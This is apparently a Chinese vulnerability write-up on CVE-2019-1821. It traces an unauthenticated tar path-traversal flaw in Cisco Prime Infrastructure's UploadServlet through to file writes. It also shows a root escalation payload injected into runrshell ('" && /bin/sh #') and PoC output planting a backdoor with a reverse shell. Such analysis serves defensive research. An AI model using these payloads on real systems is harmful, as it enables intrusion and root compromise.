cve-2019-1821 思科 Cisco Prime 企业局域网管理器 远程代码执行 漏洞分析
前言
不是所有目录遍历漏洞危害都相同,取决于遍历的用法以及用户交互程度。正如你将看到,本文的这个漏洞类在代码中非常难发现,但可以造成巨大的影响。
这个漏洞存在于思科Prime Infrastructure项目,思科为其申请编号:CVE-2019-1821。因为我无法测试新补丁(我没有思科的证件),不清楚漏洞补丁的具体情况,因此我决定分享漏洞详情,希望有人可以验证补丁的稳定性。
TL;DR 在这篇文章我会讨论CVE-2019-1821的挖掘过程并演示攻击,该漏洞属于未经身份验证的服务器端远程代码执行漏洞。
思科Prime Infrastructure
思科官网是这样描述Prime Infrastructure(PI)的:
思科Prime Infrastructure可以帮助你简化工作,自动化管理任务,它结合了思科网络智能设备的精华。思科Prime Infrastructure的特性和功能可以帮助你整合产品,通过网络实现移动端协作,简化WLAN管理…
老实说,我仍不知道它到底是干嘛的,于是我转到维基百科查找词条:
思科Prime是一个网络管理软件套件,由思科系统的其他软件一起构成。其中大部分软件服务于企业或服务提供商网络。
发现目标
这个漏洞是我在PI-APL-3.4.0.0.348-1-K9.iso (d513031f481042092d14b77cd03cbe75)上复现Pedro的CVE-2018-15379时偶然发现的,那时我正在测试补丁PI_3_4_1-1.0.27.ubf (56a2acbcf31ad7c238241f701897fcb1)的稳定性。从Github上的描述你可以发现,两个完全不同的漏洞被赋予了同一个CVE编号。
piconsole/admin# show versionCisco Prime Infrastructure
********************************************************
Version : 3.4.0
Build : 3.4.0.0.348
Critical Fixes:PI 3.4.1 Maintenance Release ( 1.0.0 )
执行默认安装后,为了阅读源代码我将可用性设置为高。根据Cisco Prime Infrastructure说明文档,这种设置其实是一种标准做法。看起来很复杂的过程,其实就是部署两个不同的PI安装程序,其中一个为HA主服务器,另一个是HA辅助服务器。
消耗大量RAM和磁盘空间后,安装配置完毕:
另外,有个朋友告诉我他在3.5版本上成功复现了该漏洞(CVE-2018-15379),并立即向思科报告。
漏洞分析
在/opt/CSCOlumos/healthmonitor/webapps/ROOT/WEB-INF/web.xml
有以下入口:
<!-- Fileupload Servlet -->
<servlet><servlet-name>UploadServlet</servlet-name><display-name>UploadServlet</display-name><servlet-class>com.cisco.common.ha.fileutil.UploadServlet</servlet-class>
</servlet><servlet-mapping><servlet-name>UploadServlet</servlet-name><url-pattern>/servlet/UploadServlet</url-pattern>
</servlet-mapping>
这里的UploadFile Servlet属于应用健康监视器管理范围,需要配置高可用性才可以访问。
/opt/CSCOlumos/lib/pf/rfm-3.4.0.403.24.jar
定义了UploadServlet
类:
public class UploadServletextends HttpServlet
{private static final String FILE_PREFIX = "upload_";private static final int ONE_K = 1024;private static final int HTTP_STATUS_500 = 500;private static final int HTTP_STATUS_200 = 200;private boolean debugTar = false;public void init() {}public void doPost(HttpServletRequest request, HttpServletResponse response)throws IOException, ServletException{String fileName = null;long fileSize = 0L;boolean result = false;response.setContentType("text/html");String destDir = request.getHeader("Destination-Dir"); // 1String archiveOrigin = request.getHeader("Primary-IP"); // 2String fileCount = request.getHeader("Filecount"); // 3fileName = request.getHeader("Filename"); // 4String sz = request.getHeader("Filesize"); // 5if (sz != null) {fileSize = Long.parseLong(sz);}String compressed = request.getHeader("Compressed-Archive"); // 6boolean archiveIsCompressed;boolean archiveIsCompressed;if (compressed.equals("true")) {archiveIsCompressed = true;} else {archiveIsCompressed = false;}AesLogImpl.getInstance().info(128, new Object[] { "Received archive=" + fileName, " size=" + fileSize + " from " + archiveOrigin + " containing " + fileCount + " files to be extracted to: " + destDir });ServletFileUpload upload = new ServletFileUpload();upload.setSizeMax(-1L);PropertyManager pmanager = PropertyManager.getInstance(archiveOrigin); // 7String outDir = pmanager.getOutputDirectory(); // 8File fOutdir = new File(outDir);if (!fOutdir.exists()) {AesLogImpl.getInstance().info(128, new Object[] { "UploadServlet: Output directory for archives " + outDir + " does not exist. Continuing..." });}String debugset = pmanager.getProperty("DEBUG");if ((debugset != null) && (debugset.equals("true"))){this.debugTar = true;AesLogImpl.getInstance().info(128, new Object[] { "UploadServlet: Debug setting is specified" });}try{FileItemIterator iter = upload.getItemIterator(request);while (iter.hasNext()){FileItemStream item = iter.next();String name = item.getFieldName();InputStream stream = item.openStream(); // 9if (item.isFormField()){AesLogImpl.getInstance().error(128, new Object[] { "Form field input stream with name " + name + " detected. Abort processing" });response.sendError(500, "Servlet does not handle FormField uploads."); return;}// 10result = processFileUploadStream(item, stream, destDir, archiveOrigin, archiveIsCompressed, fileName, fileSize, outDir);stream.close();}}
代码从用户请求中获取[1],[2],[3],[4],[5]和[6] 6个参数。分别是destDir
, archiveOrigin
, fileCount
,fileName
, fileSize
(为长值) 和compressed
(为布尔值)。
然后[7]要求提供匹配的Primary-IP
,用于[8]获取outDir
。[9]代码会从上传的文件中获取流输入,然后[10]调用函数processFileUploadStream
返回结果。
溯源函数processFileUploadStream
:
private boolean processFileUploadStream(FileItemStream item, InputStream istream, String destDir, String archiveOrigin, boolean archiveIsCompressed, String archiveName, long sizeInBytes, String outputDir)throws IOException
{boolean result = false;try{FileExtractor extractor = new FileExtractor(); // 11AesLogImpl.getInstance().info(128, new Object[] { "processFileUploadStream: Start extracting archive = " + archiveName + " size= " + sizeInBytes });extractor.setDebug(this.debugTar);result = extractor.extractArchive(istream, destDir, archiveOrigin, archiveIsCompressed); // 12
[11]处,代码创建一个新的FileExtractor
然后在[12]处调用函数extractArchive
,其中用户控制的istream
,destDir
,archiveOrigin
和archiveIsCompressed
也被带入。
溯源FileExtractor类:
public class FileExtractor
{...public boolean extractArchive(InputStream ifstream, String destDirToken, String sourceIPAddr, boolean compressed){if (ifstream == null) {throw new IllegalArgumentException("Tar input stream not specified");}String destDir = getDestinationDirectory(sourceIPAddr, destDirToken); // 13if ((destDirToken == null) || (destDir == null)) {throw new IllegalArgumentException("Destination directory token " + destDirToken + " or destination dir=" + destDir + " for extraction of tar file not found");}FileArchiver archiver = new FileArchiver();boolean result = archiver.extractArchive(compressed, null, ifstream, destDir); // 14return result;}
[13]处,代码会调用getDestinationDirectory
函数,并带入用户可控的sourceIPAddr
和destDirToken
。其中destDirToken
参数需为有效的目录token值,因此我将使用tftpRoot
字符串。下面是HighAvailabilityServerInstanceConfig
类中的tftpRoot
字符:
if (name.equalsIgnoreCase("tftpRoot")) {return getTftpRoot();
}
然后,[14]处代码会调用extractArchive
函数,其中包含compressed
,ifstrean和destDir
的值。
跟进该函数:
public class FileArchiver
{...public boolean extractArchive(boolean compress, String archveName, InputStream istream, String userDir){this.archiveName = archveName;this.compressed = compress;File destDir = new File(userDir);if (istream != null) {AesLogImpl.getInstance().trace1(128, "Extract archive from stream to directory " + userDir);} else {AesLogImpl.getInstance().trace1(128, "Extract archive " + this.archiveName + " to directory " + userDir);}if ((!destDir.exists()) && (!destDir.mkdirs())){destDir = null;AesLogImpl.getInstance().error1(128, "Error while creating destination dir=" + userDir + " Giving up extraction of archive " + this.archiveName);return false;}result = false;if (destDir != null) {try{setupReadArchive(istream); // 15this.archive.extractContents(destDir); // 17return true;}
[15]处代码首先会调用setupReadArchive
函数。这很重要,因为紧接着archive
变量在TarArchive
类中被实例化[16]。
private boolean setupReadArchive(InputStream istream)throws IOException{if ((this.archiveName != null) && (istream == null)) {try{this.inStream = new FileInputStream(this.archiveName);}catch (IOException ex){this.inStream = null;return false;}} else {this.inStream = istream;}if (this.inStream != null) {if (this.compressed){try{this.inStream = new GZIPInputStream(this.inStream);}catch (IOException ex){this.inStream = null;}if (this.inStream != null) {this.archive = new TarArchive(this.inStream, 10240); // 16}}else{this.archive = new TarArchive(this.inStream, 10240);}}if (this.archive != null) {this.archive.setDebug(this.debug);}return this.archive != null;}
[17]处,代码会调用TarArchive类的extractContents函数。extractContents( File destDir )throws IOException, InvalidHeaderException{for ( ; ; ){TarEntry entry = this.tarIn.getNextEntry();if ( entry == null ){if ( this.debug ){System.err.println( "READ EOF RECORD" );}break;}this.extractEntry( destDir, entry ); // 18}}
继续跟进,[18]处代码负责提取出条目。我们可以看到这里没有任何检查,随意提取tar档案文件。
try {boolean asciiTrans = false;FileOutputStream out =new FileOutputStream( destFile ); // 19...for ( ; ; ){int numRead = this.tarIn.read( rdbuf );if ( numRead == -1 )break;if ( asciiTrans ){for ( int off = 0, b = 0 ; b < numRead ; ++b ){if ( rdbuf[ b ] == 10 ){String s = new String( rdbuf, off, (b - off) );outw.println( s );off = b + 1;}}}else{out.write( rdbuf, 0, numRead ); // 20}}
[19]处代码创建文件,然后[20]处代码负责将文件写入磁盘。后来我发现这些代码是由大名鼎鼎的Timothy Gerard Endres在ICE Engineering时期编写的,并且这些代码被大量项目引用,例如知名逆向分析工具 radare。
这个漏洞允许未经身份验证的攻击者盗用Prime用户权限,远程执行任意代码。
意外收获
思科公司没有很好地修复CVE-2018-15379,因此我可以提升至root权限:
python -c 'import pty; pty.spawn("/bin/bash")'
[prime@piconsole CSCOlumos]$ /opt/CSCOlumos/bin/runrshell '" && /bin/sh #'
/opt/CSCOlumos/bin/runrshell '" && /bin/sh #'
sh-4.1# /usr/bin/id
/usr/bin/id
uid=0(root) gid=0(root) groups=0(root),110(gadmin),201(xmpdba) context=system_u:system_r:unconfined_java_t:s0
Wait,radare2源码的TarArchive.java中存在类似的一个远程代码执行漏洞,你可以试着去找到它。
Poc
saturn:~ mr_me$ ./poc.py
(+) usage: ./poc.py <target> <connectback:port>
(+) eg: ./poc.py 192.168.100.123 192.168.100.2:4444saturn:~ mr_me$ ./poc.py 192.168.100.123 192.168.100.2:4444
(+) planted backdoor!
(+) starting handler on port 4444
(+) connection from 192.168.100.123
(+) pop thy shell!
python -c 'import pty; pty.spawn("/bin/bash")'
[prime@piconsole CSCOlumos]$ /opt/CSCOlumos/bin/runrshell '" && /bin/sh #'
/opt/CSCOlumos/bin/runrshell '" && /bin/sh #'
sh-4.1# /usr/bin/id
/usr/bin/id
uid=0(root) gid=0(root) groups=0(root),110(gadmin),201(xmpdba) context=system_u:system_r:unconfined_java_t:s0
这里有完整的poc文档,你可以下载到本地分析参考。
小结
虽然这个漏洞经受住了思科以及其他研究人员的多次代码审计的考验,但我认为是需要配置为高可用性,并且在一个组件中触发的缘故。有时候安全研究者需要费一些时间去好好配置实验环境,以便更好地工作。
参考
https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-prime-infrastructure.txt
cve-2019-1821 思科 Cisco Prime 企业局域网管理器 远程代码执行 漏洞分析相关推荐
- php x24 x65 x6d x61,Jboss远程代码执行漏洞CVE:2013-4810获得system权限
此方法成功的渗透至Windows系统并获得最高权限exp 此方法成功的渗透至Windows系统并获得最高权限 exp ?php/*Apache Tomcat/JBoss EJBInvokerServl ...
- Cisco WebEx漏洞:浏览器插件任意远程代码执行漏洞
Cisco的WebEx extension( jlhmfgmfgeifomenelglieieghnjghma)拥有约2,000万活跃用户,并且它也是思科Webex视频会议系统重要的组成部分. 该扩展 ...
- 思科集成管理控制器IMC爆出任意代码执行漏洞CVE-2017-6616 绿盟科技发布安全威胁通告...
当地时间2017年4月19日(北京时间2017年4月20日),思科(Cisco)官方发布一条安全公告,公告显示思科集成管理控制器(Integrated Management Controller)IM ...
- Cisco WebEx WRF 播放器存在多个漏洞
安全漏洞:CN-VA09-123 发布日期:2009年12月18日 漏洞类型:代码执行 漏洞评估:重要 受影响的软件: Cisco WebEx (Windows) 27.00 Ci ...
- Cisco Smart Install远程命令执行漏洞
0x01前言 在Smart Install Client代码中发现了基于堆栈的缓冲区溢出漏洞,该漏洞攻击者无需身份验证登录即可远程执行任意代码.cisco Smart Install是一种" ...
- Cisco ASA、FTD和HyperFlex HX的漏洞分析复现
一.Cisco ASA设备任意文件删除漏洞 CVE-2020-3187 漏洞描述 Cisco ASA Software和FTD Software中的Web服务接口存在路径遍历漏洞,该漏洞源于程序没有对 ...
- GitHub 企业服务器被曝高危 RCE 漏洞
聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 今天,GitHub 在官网上发布消息称,在 GitHub Enterprise Server 中发现一个远程代码执行漏洞,编号为 CV ...
- 思科bfd静态路由切换_思科路由器曝出两个严重零日漏洞,已被野外利用
点击蓝字关注我们 思科在上周末警告说,其运营商级路由器上运行的Cisco IOS XR软件中存在两个严重的内存耗尽拒绝服务(DoS)漏洞,攻击者正在试图利用中. 关于漏洞 思科的IOS XR网络操作系 ...
- 思科开源杀软ClamAV中存在严重的RCE漏洞
聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 思科推出安全更新,修复ClamAV开源杀软引擎中的严重漏洞 (CVE-2023-20032).该漏洞的CVSS评分为9.8,与位于HFS+ 文件 ...
最新文章
- php 判断PC 还是 telphone 访问网站
- 框架:spring总结
- null === undefined_【英】两个“非值”:undefined 和 null
- 2019递归实现字符串的逆序存储(C++)
- Pix4D生成正射影像和DSM详细教程(可下载)
- ensp vlan 划分
- arcgis出界址点成果表_勘测定界界址点坐标成果表(TXT文件)
- 我的世界JAVA会支持光追吗_我的世界怎么开启光追
- Apple Watch Ultra和Apple Watch Series 8 区别 续航 功能介绍
- 论文阅读|《面向多目标柔性作业车间调度的强化学习NSGA-Ⅱ算法》
- 使用apt-get时可能报错:E: Could not perform immediate configuration on already unpacked 'mountall'.解决方法
- 有的项目是没有seting ,.project文件的,import时not project found处理办法
- 最长对称字符串php_PHP-字符串过长不用担心
- python自动群发_python---自动群发邮件
- 朱清时看何谓大学生之“大”
- Catia软件 如何将3dxml零件转化为可编辑格式的实体
- 03-若依-数据库表分析
- 电商扣减库存_电商之购物车
- SpringBoot 中JPA集成PostgreSql(详细步骤)避坑!
- uniapp ios app离线打包 - 配置